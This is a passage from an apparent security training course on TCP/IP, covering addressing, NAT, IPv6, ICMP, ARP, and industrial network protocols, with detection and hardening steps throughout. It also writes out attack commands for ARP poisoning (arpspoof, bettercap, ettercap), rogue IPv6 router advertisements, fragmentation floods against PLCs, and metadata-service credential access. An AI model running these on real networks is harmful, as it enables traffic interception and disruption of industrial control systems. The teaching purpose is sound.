cat /proc/sys/net/ipv4/tcp_keepalive_probes    # 9 (number of probes before giving up)

# Default: 7200s (2 hours!) before first probe
# A dead connection consumes state for 2+ hours by default
# Adjust for security-sensitive applications:
sysctl -w net.ipv4.tcp_keepalive_time=60     # 60 seconds
sysctl -w net.ipv4.tcp_keepalive_intvl=10    # 10 second intervals
sysctl -w net.ipv4.tcp_keepalive_probes=3    # 3 probes then give up

# Security implication:
# Long keepalive intervals allow stealthy C2 connections to persist
# for hours between communications without the connection timing out
# This is why some C2 frameworks use long TCP idle periods
# Detection: connections with high idle time and periodic tiny packets

7. IPv4 Addressing

7.1 Structure

IPv4 addresses are 32-bit binary numbers, written as four decimal octets separated by dots.

192  .  168  .   1   .  100
─────    ─────    ─────    ─────
11000000 10101000 00000001 01100100

Binary representation:
11000000.10101000.00000001.01100100

Decimal: 192.168.1.100
Hex:     C0.A8.01.64  or  0xC0A80164

Converting between representations:

# Python — IP address conversions
import ipaddress, socket, struct

ip = "192.168.1.100"

# String to integer
ip_int = int(ipaddress.ip_address(ip))
print(f"Integer: {ip_int}")               # 3232235876

# String to bytes
ip_bytes = socket.inet_aton(ip)
print(f"Bytes: {ip_bytes.hex()}")         # c0a80164

# Integer to string
ip_back = str(ipaddress.ip_address(ip_int))
print(f"Back: {ip_back}")                 # 192.168.1.100

# Working with network ranges
network = ipaddress.ip_network("192.168.1.0/24")
print(f"Network: {network.network_address}")   # 192.168.1.0
print(f"Broadcast: {network.broadcast_address}")  # 192.168.1.255
print(f"Hosts: {network.num_addresses - 2}")      # 254
print(f"First host: {list(network.hosts())[0]}")  # 192.168.1.1
print(f"Last host: {list(network.hosts())[-1]}")  # 192.168.1.254

# Check if IP is in a network
target = ipaddress.ip_address("192.168.1.50")
print(f"In network: {target in network}")        # True

# Useful for: checking if IP is RFC1918 private, checking if in attack scope
print(f"Is private: {target.is_private}")        # True
print(f"Is loopback: {target.is_loopback}")      # False

7.2 Address Classes (Historical but Required Knowledge)

Before CIDR (1993), IP addresses were divided into classes. Understanding classes is essential because:

Legacy systems, documentation, and older CVEs reference them
Reserved ranges are still based on class boundaries
Subnetting understanding builds on this foundation

Class A: 0xxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bit: 0
  Range: 1.0.0.0 – 126.0.0.0
  Subnet mask: /8 (255.0.0.0)
  Networks: 126
  Hosts per network: 16,777,214
  Used for: Large organisations, ISPs

Class B: 10xxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First two bits: 10
  Range: 128.0.0.0 – 191.255.0.0
  Subnet mask: /16 (255.255.0.0)
  Networks: 16,384
  Hosts per network: 65,534
  Used for: Universities, medium enterprises

Class C: 110xxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First three bits: 110
  Range: 192.0.0.0 – 223.255.255.0
  Subnet mask: /24 (255.255.255.0)
  Networks: 2,097,152
  Hosts per network: 254
  Used for: Small networks (most common)

Class D: 1110xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range: 224.0.0.0 – 239.255.255.255
  Purpose: Multicast (not unicast hosts)
  Examples: 224.0.0.5 (OSPF), 239.255.255.250 (SSDP/UPnP)

Class E: 1111xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range: 240.0.0.0 – 255.255.255.255
  Purpose: Reserved for experimental use
  255.255.255.255: Limited broadcast

7.3 Special Address Ranges

RFC 1918 — Private Addresses:
These ranges are never routed on the internet. NAT translates between private and public IPs.

10.0.0.0/8       10.0.0.0 – 10.255.255.255      (Class A private)
172.16.0.0/12    172.16.0.0 – 172.31.255.255    (Class B private)
192.168.0.0/16   192.168.0.0 – 192.168.255.255  (Class C private)

Other special ranges every security professional must know:

127.0.0.0/8          Loopback (localhost) — 127.0.0.1 is the canonical
169.254.0.0/16       APIPA (Automatic Private IP Addressing) — assigned when DHCP fails
                     Seeing 169.254.x.x means: DHCP failure
                     Also used for link-local communication (AWS metadata: 169.254.169.254)

100.64.0.0/10        Carrier-grade NAT (CGN) — ISP internal addresses
                     Not RFC 1918 but also not public — confuses traceroutes

0.0.0.0/8            "This network" — only valid as source for DHCP discover
192.0.2.0/24         TEST-NET-1 (RFC 5737) — documentation examples
198.51.100.0/24      TEST-NET-2 (RFC 5737) — documentation examples  
203.0.113.0/24       TEST-NET-3 (RFC 5737) — documentation examples
                     (These appear in this document's examples)

192.88.99.0/24       6to4 relay (deprecated but may still appear)
224.0.0.0/4          Multicast
240.0.0.0/4          Reserved
255.255.255.255/32   Limited broadcast

Security implications of special ranges:

# AWS EC2 metadata service — critical for cloud attacks:
# 169.254.169.254 is the link-local address of the metadata service
# From inside an EC2 instance: curl http://169.254.169.254/latest/meta-data/
# Contains: IAM credentials, instance role, user-data (often contains secrets)
# SSRF vulnerabilities that reach this address are critical severity

# Check if an IP is in RFC1918:
python3 -c "
import ipaddress
ips = ['10.0.0.1', '172.16.0.1', '192.168.1.1', '8.8.8.8', '169.254.169.254']
for ip in ips:
    addr = ipaddress.ip_address(ip)
    print(f'{ip}: private={addr.is_private}, loopback={addr.is_loopback}, '
          f'link_local={addr.is_link_local}')
"

7.4 CIDR — Classless Inter-Domain Routing

CIDR (RFC 4632, 1993) replaced classful addressing. It uses a prefix length to define the network portion of an address.

192.168.1.0/24

/24 = prefix length = 24 bits for network
     = 32 - 24 = 8 bits for hosts
     = 2^8 - 2 = 254 usable hosts

Subnet mask from CIDR:
/8  = 255.0.0.0       = 11111111.00000000.00000000.00000000
/16 = 255.255.0.0     = 11111111.11111111.00000000.00000000
/24 = 255.255.255.0   = 11111111.11111111.11111111.00000000
/25 = 255.255.255.128 = 11111111.11111111.11111111.10000000
/26 = 255.255.255.192 = 11111111.11111111.11111111.11000000
/30 = 255.255.255.252 = 11111111.11111111.11111111.11111100
/32 = 255.255.255.255 = single host

Host formula: 2^(32-prefix) - 2
(-2 for network address and broadcast address)

/30 = 2^2 - 2 = 2 usable hosts (point-to-point links)
/29 = 2^3 - 2 = 6 usable hosts
/28 = 2^4 - 2 = 14 usable hosts
/27 = 2^5 - 2 = 30 usable hosts
/26 = 2^6 - 2 = 62 usable hosts
/25 = 2^7 - 2 = 126 usable hosts
/24 = 2^8 - 2 = 254 usable hosts
/23 = 2^9 - 2 = 510 usable hosts
/22 = 2^10 - 2 = 1022 usable hosts
/16 = 2^16 - 2 = 65534 usable hosts
/8  = 2^24 - 2 = 16,777,214 usable hosts

# ipcalc — subnet calculator
ipcalc 192.168.1.100/24
# Shows: network, broadcast, host range, prefix, etc.

# Determine network and broadcast from IP + mask:
python3 << 'EOF'
import ipaddress

def subnet_info(cidr):
    net = ipaddress.ip_network(cidr, strict=False)
    print(f"CIDR:          {cidr}")
    print(f"Network:       {net.network_address}")
    print(f"Broadcast:     {net.broadcast_address}")
    print(f"Subnet mask:   {net.netmask}")
    print(f"Wildcard mask: {net.hostmask}")
    print(f"Usable hosts:  {net.num_addresses - 2}")
    print(f"First host:    {list(net.hosts())[0]}")
    print(f"Last host:     {list(net.hosts())[-1]}")

subnet_info("192.168.1.100/24")
print()
subnet_info("10.0.0.0/8")
EOF

# Nmap uses CIDR notation for network scanning:
sudo nmap -sn 192.168.1.0/24    # Ping scan entire /24
sudo nmap -sn 10.0.0.0/8        # Ping scan entire Class A (16M addresses — careful)

7.5 NAT — Network Address Translation

NAT allows multiple devices to share a single public IP address. It modifies IP headers as packets traverse the NAT device.

Internal network: 192.168.1.0/24
NAT device (router) public IP: 203.0.113.1

Outbound:
  Host 192.168.1.5:54321 → 8.8.8.8:53 (DNS query)
  NAT rewrites: 203.0.113.1:12345 → 8.8.8.8:53
  Stores mapping: 203.0.113.1:12345 ↔ 192.168.1.5:54321

Inbound:
  8.8.8.8:53 → 203.0.113.1:12345 (DNS response)
  NAT looks up: 203.0.113.1:12345 → 192.168.1.5:54321
  NAT rewrites: 8.8.8.8:53 → 192.168.1.5:54321
  Forwards to 192.168.1.5

NAT types (important for VoIP, P2P, gaming, and some attacks):
  Full Cone: Any external host can send to mapped port
  Restricted Cone: Only hosts that internal host has contacted
  Port Restricted Cone: Only specific source port from contacted host
  Symmetric: Different mapping for each external destination (strictest)

NAT security implications:

NAT provides implicit inbound protection — external hosts cannot initiate connections to NAT'd internal hosts unless the NAT device is explicitly configured to allow it (port forwarding). This is why home routers with NAT provide a degree of protection even without a firewall.

However, NAT is NOT a security control:

Internal hosts can still initiate outbound connections (C2 communication bypasses NAT)
NAT traversal techniques (STUN, TURN, UPnP, ICMP tunnel) allow external hosts to reach internal machines
UPnP (Universal Plug and Play) allows applications to automatically configure NAT port forwarding — malware exploits this

Forensic implications: NAT obscures the true source of connections. When investigating an incident, the firewall/NAT log is essential — without it, all connections appear to come from the NAT device's public IP.

8. IPv6 Fundamentals

8.1 Why IPv6 Exists and Why It Matters for Security

IPv4 has 2^32 = 4,294,967,296 addresses. The internet ran out of unallocated IPv4 space in 2011. IPv6 was designed to replace it.

IPv6 has 2^128 addresses. That is 340 undecillion (3.4 × 10^38) — roughly 50 octillion addresses per person on Earth. Address exhaustion is not a concern for the foreseeable future.

For security professionals, IPv6 matters because:

Many networks have dual-stack (IPv4 + IPv6) deployments where the IPv6 side is misconfigured or unmonitored
Security tools, firewalls, and monitoring systems are often IPv4-centric — IPv6 traffic slips through
IPv6 has its own address types, protocols (ICMPv6, NDP), and attack surface
IPv6 is often enabled by default on operating systems even when the network administrator thinks they are running IPv4-only

8.2 IPv6 Address Structure

IPv6 address: 2001:0db8:85a3:0000:0000:8a2e:0370:7334
              ─────────────────────────────────────────
              128 bits, 8 groups of 16 bits each, hex notation

Shorthand rules:
  1. Leading zeros in each group can be omitted:
     0db8 → db8
     0000 → 0

  2. One or more consecutive all-zero groups can be replaced with ::
     (only once per address):
     2001:db8:85a3:0:0:8a2e:370:7334
     → 2001:db8:85a3::8a2e:370:7334

Examples:
  ::1                    Loopback (equivalent to 127.0.0.1)
  ::                     Unspecified address (equivalent to 0.0.0.0)
  fe80::1                Link-local address
  2001:db8::/32          Documentation prefix (like 192.0.2.0/24)
  ff02::1                All nodes (link-local multicast)
  ff02::2                All routers (link-local multicast)

8.3 IPv6 Address Types

Global Unicast:    2000::/3  (currently 2001::-3fff::)
  Globally unique, routable on the internet
  Equivalent to public IPv4 addresses

Link-Local:        fe80::/10
  Only valid on a single link (subnet)
  Automatically configured on every IPv6-capable interface
  Used for NDP (Neighbour Discovery Protocol — IPv6 ARP replacement)
  NOT routable beyond the local link

Unique Local:      fc00::/7  (currently fd00::/8 in practice)
  Equivalent to RFC 1918 private addresses
  Routable within an organisation, not on the internet

Loopback:          ::1/128
  Equivalent to 127.0.0.1

Multicast:         ff00::/8
  No broadcast in IPv6 — broadcast replaced with multicast
  ff02::1 = all nodes on link
  ff02::2 = all routers on link
  ff02::1:ff00:0/104 = solicited-node multicast (used by NDP)

IPv4-Mapped:       ::ffff:0:0/96
  Represents IPv4 addresses in IPv6 notation
  ::ffff:192.168.1.1 = 192.168.1.1 in IPv6 format

8.4 IPv6 Security — The Hidden Attack Surface

Dual-stack networks:
Most modern operating systems enable IPv6 by default. Even if the network administrator has not configured IPv6, the operating system will autoconfigure a link-local address (fe80::/10) and may configure a global address via SLAAC (Stateless Address Autoconfiguration) if a router is advertising IPv6 prefixes.

This creates a hidden attack surface:

Scenario:
  Administrator: "We run IPv4 only, our firewall rules are IPv4"
  Reality: All Windows, Linux, macOS machines have IPv6 enabled
           If any machine has a global IPv6 address, it may be
           directly reachable from the IPv6 internet
           without going through the IPv4 firewall

Check IPv6 on Linux:
ip -6 addr show                         # All IPv6 addresses
ip -6 route show                        # IPv6 routing table
cat /proc/net/if_inet6                  # All IPv6 interfaces

Check IPv6 on Windows:
ipconfig | findstr /i "IPv6"
netsh interface ipv6 show addresses

NDP — Neighbour Discovery Protocol:
NDP is IPv6's replacement for ARP. It uses ICMPv6 messages instead of a dedicated protocol.

NDP messages:
  ICMPv6 Type 133: Router Solicitation (RS) — "Is there a router?"
  ICMPv6 Type 134: Router Advertisement (RA) — "I am a router, here are params"
  ICMPv6 Type 135: Neighbour Solicitation (NS) — "Who has this IPv6 address?"
  ICMPv6 Type 136: Neighbour Advertisement (NA) — "I have this IPv6 address"
  ICMPv6 Type 137: Redirect — "Use a better route"

NDP has the same fundamental vulnerability as ARP: no authentication.
NDP spoofing is the IPv6 equivalent of ARP spoofing.

Rogue Router Advertisement (RA) attacks:
An attacker can send fake Router Advertisements to:

Redirect traffic through the attacker's machine (default route hijacking)
Configure a malicious DNS server on victim machines
Perform MITM on all IPv6 traffic

# Tools for IPv6 attacks:
# THC-IPv6 toolkit (pre-installed on Kali)

# Send rogue RA to assign attacker's machine as default gateway:
sudo atk6-fake_router6 eth0 2001:db8::/64

# IPv6 NDP spoofing:
sudo parasite6 eth0                     # NDP responder (like arpspoof for IPv6)

# Detect rogue RAs:
sudo radvd --debug                      # Monitor for unexpected RAs
# Or in Wireshark: icmpv6.type == 134   (Router Advertisement)
# Unexpected RAs from non-router MACs are suspicious

IPv6 scanning:
The IPv6 address space is so large that random scanning is impractical. But attackers use:

Multicast addresses (ff02::1 reaches all hosts on the link without knowing individual addresses)
SLAAC-based addresses are often predictable (EUI-64 format embeds the MAC address)
DNS enumeration for IPv6 AAAA records

# Discover IPv6 hosts on local link using multicast
ping6 -I eth0 ff02::1                   # Ping all nodes multicast
# Captures responses from all IPv6-enabled hosts on the link

# Nmap IPv6 scan
sudo nmap -6 -sV 2001:db8::1           # Single IPv6 host
sudo nmap -6 --script ipv6-multicast-mld-list eth0  # Discover via multicast

# Check for AAAA records (IPv6 DNS)
dig AAAA google.com
host -t AAAA google.com

Key Insight: IPv4 addresses are nearly exhausted and IPv6 deployment is accelerating. More importantly, IPv6 is already running on most enterprise systems — often unmonitored and unmanaged. An attacker who pivots to IPv6 on a dual-stack network may find a completely undefended path. Every network assessment must include IPv6 enumeration, and every security architecture must account for IPv6 traffic.

9. ICMP — The Network's Diagnostic Layer

9.1 What ICMP Is

ICMP (Internet Control Message Protocol, RFC 792) runs directly over IP (protocol number 1) and provides network diagnostic and error reporting functions. It has no ports and cannot be used for application data transfer.

ICMP is essential for network operation, but it is also one of the most abused protocols in offensive security.

9.2 ICMP Message Types

Type  Code  Name                           Security Relevance
─────────────────────────────────────────────────────────────────
0     0     Echo Reply                     Ping response — host is up
3     0     Destination Unreachable        
      0     Net Unreachable                Routing problem
      1     Host Unreachable               Host down or firewalled
      2     Protocol Unreachable           Protocol not supported
      3     Port Unreachable               No service on UDP port
      4     Fragmentation Needed           MTU path discovery
      9     Dest. Network Admin. Prohibit  Firewall block (ACL)
      10    Dest. Host Admin. Prohibit     Firewall block
      13    Comm. Admin. Prohibited        Firewall block
5     0     Redirect Datagram for Net      Route manipulation attack
      1     Redirect Datagram for Host     Route manipulation attack
8     0     Echo Request                   Ping — host discovery
11    0     Time Exceeded (TTL)            Traceroute mechanism
      0     TTL exceeded in transit        Traceroute hop
      1     Fragment reassembly timeout    Fragmentation issue
12    0     Parameter Problem              Malformed packet
13    0     Timestamp Request              OS fingerprinting
14    0     Timestamp Reply
17    0     Address Mask Request           Network enumeration (deprecated)
18    0     Address Mask Reply

9.3 ICMP in Host Discovery and Network Mapping

# Ping — ICMP Echo Request (Type 8) / Echo Reply (Type 0)
ping -c 4 192.168.1.1               # 4 pings
ping -c 1 -W 1 192.168.1.1          # Single ping, 1 second timeout
ping -b 192.168.1.255               # Broadcast ping (may reveal all hosts)

# Ping sweep — discover live hosts
# Nmap ICMP ping sweep:
sudo nmap -sn -PE 192.168.1.0/24   # ICMP Echo ping sweep
sudo nmap -sn -PP 192.168.1.0/24   # ICMP Timestamp ping sweep (bypasses some firewalls)
sudo nmap -sn -PM 192.168.1.0/24   # ICMP Address Mask ping sweep

# fping — parallel ping for faster sweeps
sudo apt install fping
fping -a -g 192.168.1.0/24 2>/dev/null  # -a = show alive, -g = generate range

# Traceroute — uses ICMP TTL exceeded responses
traceroute -n 8.8.8.8               # -n = no DNS resolution
traceroute -I 8.8.8.8               # ICMP mode (default is UDP on Linux)
traceroute -T -p 80 8.8.8.8         # TCP traceroute to port 80

# How traceroute works:
# Packet 1: TTL=1 → first router decrements to 0 → ICMP Type 11 back
# Packet 2: TTL=2 → first router: TTL-1=1, second router: TTL-1=0 → ICMP Type 11
# ...continues until destination reached (ICMP Echo Reply or ICMP Port Unreachable)

9.4 ICMP Attack Techniques

Ping of Death (historical, CVE-1996-nnnn):
An IPv4 packet can theoretically carry up to 65,535 bytes of data (2^16 -1 total length). An ICMP Echo Request with 65,507 bytes of payload (65,535 - 20 IP header - 8 ICMP header) is valid. However, this is larger than the maximum Ethernet frame, so it gets fragmented. On many older implementations, the reassembled packet caused a buffer overflow in the kernel's reassembly buffer — crashing or blue-screening the system. Patched in all modern OSes but still relevant for legacy embedded systems (some OT devices).

Smurf Attack (historical but documented):
Attacker sends ICMP Echo Request to a network's broadcast address with spoofed source IP (victim's IP). All hosts on the network reply to the victim. Amplification ratio = number of hosts on the network.

10 hosts on network + broadcast ping = 10× amplification
1,000 hosts on network = 1,000× amplification

Mitigation: 
  ISPs should block directed broadcast (RFC 2644)
  Hosts should not respond to broadcast pings
  sysctl net.ipv4.icmp_echo_ignore_broadcasts=1 (Linux default)

ICMP Redirect Attack:
ICMP Type 5 allows a router to tell a host "use a different gateway for this specific destination." The host updates its routing table.

Attack:
  Attacker sends ICMP Redirect: "For destination 8.8.8.8, use gateway 192.168.1.50 (attacker)"
  Victim host adds route: 8.8.8.8 via 192.168.1.50
  All traffic to 8.8.8.8 now goes to attacker first

Defence:
  Disable ICMP redirect acceptance:
  sysctl -w net.ipv4.conf.all.accept_redirects=0
  sysctl -w net.ipv4.conf.all.secure_redirects=0

  Verify:
  cat /proc/sys/net/ipv4/conf/all/accept_redirects  # 0 = disabled

ICMP Tunnelling:
ICMP Echo Request and Reply packets can carry arbitrary data in their payload. An attacker can encapsulate any TCP/IP traffic inside ICMP packets to bypass firewalls that allow ICMP but block direct TCP/UDP.

Normal ping payload: 32 bytes (on Windows) or 56 bytes (on Linux)
Attack: Use full 65,507 bytes of ICMP payload to tunnel data

Detection:
- ICMP packets with large payloads (>100 bytes for Echo)
- ICMP packets with unusual payload content (not repeating patterns)
- High-frequency ICMP traffic from a single host
- ICMP traffic at non-ping timing patterns

Tools: icmptunnel, ptunnel, ICMPTX

# Detect large ICMP payloads in Wireshark:
# Filter: icmp and data.len > 100

# Or with tcpdump:
sudo tcpdump -i eth0 'icmp and greater 150'   # ICMP packets > 150 bytes

9.5 ICMP Firewall Behaviour and Fingerprinting

When a firewall blocks a connection, the type of ICMP response (if any) reveals the firewall's configuration:

Port response analysis:
  SYN → SYN-ACK:    Port open
  SYN → RST:        Port closed (no service)
  SYN → no response: Port filtered (firewall DROP rule — silent discard)
  SYN → ICMP Type 3 Code 13: Port administratively prohibited (firewall REJECT rule)

The difference between DROP and REJECT:
  DROP:   Firewall silently discards packet → attacker doesn't know if host is up
  REJECT: Firewall sends ICMP error → tells attacker the host exists

  DROP is generally preferred from a security perspective (reveals less)
  REJECT is preferred from a usability perspective (faster failure, clearer error)

# Nmap output interpretation:
# open: SYN-ACK received
# closed: RST received
# filtered: no response or ICMP unreachable received

# Identify firewall policy (DROP vs REJECT):
sudo nmap -sS --reason 192.168.1.1
# "no-response" = DROP policy
# "admin-prohibited" = REJECT policy with ICMP Type 3 Code 13
# "reset" = no firewall, closed port

# Time-based differentiation:
# DROP: Nmap waits for timeout (slow)
# RST: Immediate response (fast)
# Compare scan timing — slow = DROP policy

10. ARP — Address Resolution Protocol

10.1 What ARP Does and Why It Has No Security

ARP (RFC 826, 1982) resolves IPv4 addresses to MAC addresses. Before sending an IP packet, a device must know the MAC address of the next hop (the destination if on the same subnet, or the gateway if not).

RFC 826 is 7 pages long. It was written in 1982 when the internet consisted of researchers who trusted each other. There is no authentication, no verification, no cryptographic integrity. Any device can claim any IP-to-MAC mapping, and other devices will believe it. This was not an oversight — it was an acceptable design decision at the time.

Forty years later, this design decision is responsible for some of the most common network attacks in existence.

10.2 ARP Operation

ARP Request (broadcast):
  Source: 192.168.1.5 (MAC: AA:BB:CC:DD:EE:FF)
  Wants to reach: 192.168.1.1
  Doesn't know: 192.168.1.1's MAC address

  Sends Ethernet broadcast (dst: FF:FF:FF:FF:FF:FF):
  "Who has 192.168.1.1? Tell 192.168.1.5 (AA:BB:CC:DD:EE:FF)"

  All devices on the segment receive this.
  Only 192.168.1.1 should respond.

ARP Reply (unicast):
  Source: 192.168.1.1 (MAC: 11:22:33:44:55:66)
  Sends directly to 192.168.1.5:
  "192.168.1.1 is at 11:22:33:44:55:66"

ARP Cache:
  Receiving device stores this mapping in ARP cache
  Linux default: 60-second TTL with garbage collection
  Windows default: 15-30 second reachable timeout, up to 45-90 seconds stale

  View ARP cache:
  arp -a                              # Linux/Windows
  ip neigh show                       # Linux (modern)

Gratuitous ARP:
A device can send an unsolicited ARP reply announcing its own IP-to-MAC mapping. This is used for:

Updating the ARP cache of all neighbours after NIC replacement
Announcing a new IP address
High-availability failover (sending gratuitous ARP to update switches after failover)

Gratuitous ARP is the mechanism that makes ARP poisoning possible — any device can announce any mapping, and others accept it without question.

10.3 ARP Poisoning Attack — Full Technical Detail

Network:
  Gateway:        192.168.1.1  (MAC: GW:GW:GW:GW:GW:GW)
  Victim A:       192.168.1.10 (MAC: AA:AA:AA:AA:AA:AA)
  Victim B:       192.168.1.20 (MAC: BB:BB:BB:BB:BB:BB)
  Attacker:       192.168.1.50 (MAC: AT:AT:AT:AT:AT:AT)

Attack:
  Attacker sends to 192.168.1.10:
    "192.168.1.1 is at AT:AT:AT:AT:AT:AT"  (lie about gateway MAC)

  Attacker sends to 192.168.1.1:
    "192.168.1.10 is at AT:AT:AT:AT:AT:AT" (lie about victim MAC)

Result on 192.168.1.10's ARP cache:
  BEFORE: 192.168.1.1 → GW:GW:GW:GW:GW:GW ✓
  AFTER:  192.168.1.1 → AT:AT:AT:AT:AT:AT  ← POISONED

Traffic flow:
  192.168.1.10 sends packet to "gateway" (AT:AT:AT:AT:AT:AT)
  Attacker receives it, reads it (MITM), forwards to real gateway
  Response returns via same path (attacker also poisoned gateway's ARP)

Attacker sees all traffic between victim and gateway.
With IP forwarding enabled, communication continues normally — 
victim has no indication of the attack.

# ARP poisoning tools:

# arpspoof (dsniff package) — classic tool
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
# -t = target (who to poison)
# last argument = IP to impersonate
# This sends gratuitous ARPs to 192.168.1.10 claiming 192.168.1.1's IP

# For bidirectional MITM, run two arpspoof instances:
sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 &
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.10 &
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward  # Enable forwarding

# Bettercap — modern, comprehensive
sudo bettercap -iface eth0
# In bettercap console:
# net.probe on              # Discover hosts
# arp.spoof.targets 192.168.1.10,192.168.1.20  # Target specific hosts
# arp.spoof on              # Start poisoning
# net.sniff on              # Capture traffic

# Ettercap — all-in-one MITM
sudo ettercap -T -q -M arp:remote /192.168.1.1// /192.168.1.10//
# -T = text mode, -q = quiet, -M = MITM mode arp:remote

10.4 Detecting and Mitigating ARP Attacks

Detection:

# arpwatch — monitors ARP activity, alerts on changes
sudo apt install arpwatch
sudo arpwatch -i eth0               # Run and log to syslog
# Alerts on: new station, changed ethernet address, flip-flop (rapid MAC changes)

# Manual detection — look for duplicate IP with different MAC:
ip neigh show | awk '{print $1}' | sort | uniq -c | sort -rn
# Multiple entries for same IP = suspicious

# Wireshark detection:
# Edit → Find Packet → Packet Details → ARP
# Look for: "duplicate use of <IP> detected"
# Wireshark automatically alerts on duplicate IP-to-MAC mappings

# Detect in Python:
python3 << 'EOF'
from scapy.all import sniff, ARP
from collections import defaultdict

ip_mac_map = defaultdict(set)

def detect_arp_spoofing(pkt):
    if pkt.haslayer(ARP) and pkt[ARP].op == 2:  # ARP Reply
        ip = pkt[ARP].psrc
        mac = pkt[ARP].hwsrc
        ip_mac_map[ip].add(mac)
        if len(ip_mac_map[ip]) > 1:
            print(f"[!] ARP POISONING DETECTED: {ip} claimed by MACs: {ip_mac_map[ip]}")

print("Monitoring ARP traffic...")
sniff(filter="arp", prn=detect_arp_spoofing, store=0)
EOF

Mitigation:

1. Dynamic ARP Inspection (DAI) — Cisco switch feature
   Switch maintains DHCP snooping binding table (IP→MAC→Port→VLAN)
   Validates ARP packets against binding table
   Drops ARP packets that don't match
   Prevents ARP poisoning from untrusted ports

   Cisco configuration:
   ip dhcp snooping vlan 10
   ip arp inspection vlan 10
   interface GigabitEthernet0/1
    ip dhcp snooping limit rate 15    # Limit DHCP to 15 pps
   interface GigabitEthernet0/2
    ip arp inspection trust           # Trust this port (uplink to router)

2. Static ARP entries
   Add critical mappings (gateway) as permanent static entries:
   arp -s 192.168.1.1 GW:GW:GW:GW:GW:GW
   ip neigh add 192.168.1.1 lladdr GW:GW:GW:GW:GW:GW dev eth0 nud permanent

   Limitation: manual maintenance, doesn't scale

3. 802.1X Port Authentication
   Authenticates devices before granting network access
   Combined with DAI: only authenticated devices can poison ARP

4. Private VLANs
   Prevents communication between hosts in the same subnet
   No direct L2 access between clients → no ARP poisoning possible

5. End-to-end encryption (TLS)
   Even if ARP is poisoned and traffic intercepted,
   TLS prevents reading or modifying the content
   This is why ARP poisoning + SSL stripping requires both steps

10.5 ARP in OT/ICS Networks

ARP poisoning in OT environments is particularly dangerous because:

No encryption: Modbus, DNP3, and other industrial protocols transmit in plaintext. An ARP MITM gives complete visibility into and control over industrial protocol traffic.
No authentication: Writing to a Modbus register or sending a DNP3 command requires only network access. ARP poisoning provides that access.
No security monitoring: Most OT networks have no ARP inspection, no arpwatch, no DAI. ARP poisoning can run undetected indefinitely.
Physical consequences: A MITM position on an OT network allows:
- Passive: Monitoring of all process values and setpoints
- Active: Modification of commands sent to PLCs
- Denial of service: Dropping commands to field devices
Legacy switches: Many OT environments use unmanaged switches. DAI requires managed switches. Unmanaged switches cannot enforce port security.

Key Insight: ARP's complete lack of authentication is not a vulnerability that will be patched — it is the protocol as designed, and replacing it would require replacing the entire Ethernet ecosystem. DAI and 802.1X are the correct mitigations, but they require managed infrastructure. In their absence, every device on the same L2 segment can impersonate every other device. In OT environments where this is combined with unauthenticated industrial protocols, a single compromised or rogue device has full control over the physical process.

11. Putting It All Together — A Complete Packet's Journey

11.1 The Full Stack in Motion

To solidify all concepts in this module, trace a complete DNS query from a workstation to Google's DNS server.

Workstation: 192.168.1.5 (MAC: WS:WS:WS:WS:WS:WS)
Gateway:     192.168.1.1 (MAC: GW:GW:GW:GW:GW:GW)
Target DNS:  8.8.8.8
Query:       "What is the IP of example.com?"

STEP 1: Does workstation know gateway's MAC?
  Check ARP cache: 192.168.1.1 → ?
  If not found: Send ARP broadcast "Who has 192.168.1.1?"
  Gateway replies: "192.168.1.1 is at GW:GW:GW:GW:GW:GW"
  ARP cache updated.

STEP 2: Construct DNS UDP packet

  Application layer builds DNS query:
    DNS header + question: A record for "example.com"

  Transport layer adds UDP header:
    Source port: 54321 (ephemeral)
    Destination port: 53 (DNS)
    Length: [calculated]
    Checksum: [calculated]

  Internet layer adds IP header:
    Source IP: 192.168.1.5
    Destination IP: 8.8.8.8
    TTL: 64 (Linux default)
    Protocol: 17 (UDP)

  Network Access layer adds Ethernet header:
    Destination MAC: GW:GW:GW:GW:GW:GW (gateway — not 8.8.8.8, different subnet)
    Source MAC: WS:WS:WS:WS:WS:WS
    EtherType: 0x0800 (IPv4)

STEP 3: Frame sent on wire to gateway

STEP 4: Gateway receives frame
  Layer 2: Is dst MAC mine? Yes → accept
  Layer 3: Is dst IP mine? No (8.8.8.8 is not 192.168.1.1)
  → Route packet toward 8.8.8.8
  → Build new Ethernet frame with next hop's MAC
  → Decrement TTL (now 63)
  → Send out WAN interface

STEP 5: Packet traverses internet (multiple hops, TTL decrements)

STEP 6: 8.8.8.8 receives packet
  DNS server processes query
  Constructs response
  Response travels back (same process in reverse)

STEP 7: Gateway receives response, routes to workstation
  ARP resolves 192.168.1.5 → WS:WS:WS:WS:WS:WS
  Forwards frame

STEP 8: Workstation receives response
  UDP → port 54321 → DNS resolver → application
  Application knows: example.com → 93.184.216.34

12. TCP/IP in OT/ICS Environments

12.1 TCP/IP Adoption in Industrial Networks

Modern OT networks increasingly use standard TCP/IP. This brings interoperability benefits but also exposes industrial systems to the full TCP/IP threat landscape.

Protocols that run over TCP/IP in OT:

Modbus TCP:      TCP 502    — No authentication, direct register access
DNP3:            TCP/UDP 20000 — Limited authentication (SA v5)
EtherNet/IP:     TCP 44818, UDP 2222 — CIP over Ethernet
IEC 60870-5-104: TCP 2404   — Power grid SCADA
IEC 61850 MMS:   TCP 102    — Substation automation
OPC-UA:          TCP 4840   — Modern, has security model
PROFINET:        TCP/UDP (various) — Siemens fieldbus over Ethernet
BACnet/IP:       UDP 47808  — Building automation

12.2 TCP/IP Attacks Specific to OT Context

Fragmentation attacks against PLCs:
Industrial devices often have limited resources and may not handle malformed or fragmented IP packets correctly. Sending fragmented packets (Teardrop-style, overlapping offsets) can crash PLCs or cause them to restart.

# Fragmentation attack simulation (lab only):
sudo hping3 --frag --data 1000 --mtu 8 192.168.1.100
# --frag = fragment packets
# --data = payload size
# --mtu = force fragmentation at this size
# Result: 8-byte fragments → many overlap scenarios possible

TCP RST injection against SCADA HMI connections:
If an attacker can observe the sequence numbers of an active TCP connection between an HMI and a SCADA server, they can inject RST packets to terminate the connection. This disrupts operator visibility.

ARP poisoning + Modbus command injection:
The most dangerous combined attack:

ARP poison: Position attacker between HMI and PLC
Intercept: Capture legitimate Modbus TCP commands
